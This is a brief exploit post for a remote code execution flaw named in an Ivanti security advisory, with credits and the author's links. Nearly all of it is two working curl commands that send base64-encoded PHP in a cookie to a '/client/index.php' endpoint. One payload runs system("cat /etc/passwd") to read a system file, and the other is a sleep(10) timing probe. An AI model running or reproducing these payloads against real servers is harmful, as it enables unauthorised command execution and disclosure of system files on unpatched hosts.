This is the RCE exploit for the following advisory (officially discovered by Jakub Kramarz):
https://forums.ivanti.com/s/article/SA-2021-12-02?language=en_US
Shoutouts to phyr3wall for providing a hint to where the obfuscated code relies
@d7x_real
https://d7x.promiselabs.net
https://www.promiselabs.net
curl -i -s -k -X $'GET' -b $'e=ab; exec=c3lzdGVtKCJjYXQgL2V0Yy9wYXNzd2QiKTs=; pwn=; LDCSASESSID=' 'https://.../client/index.php' | tr -d "\n" | grep -zPo '<c123>\K.*?(?=</c123>)'; echo
curl -i -s -k -X $'GET' -b $'e=ab; exec=c2xlZXAoMTApOw==; pwn=; LDCSASESSID=' 'https://.../client/index.php' | tr -d "\n" | grep -zPo '<c123>\K.*?(?=</c123>)'; echo
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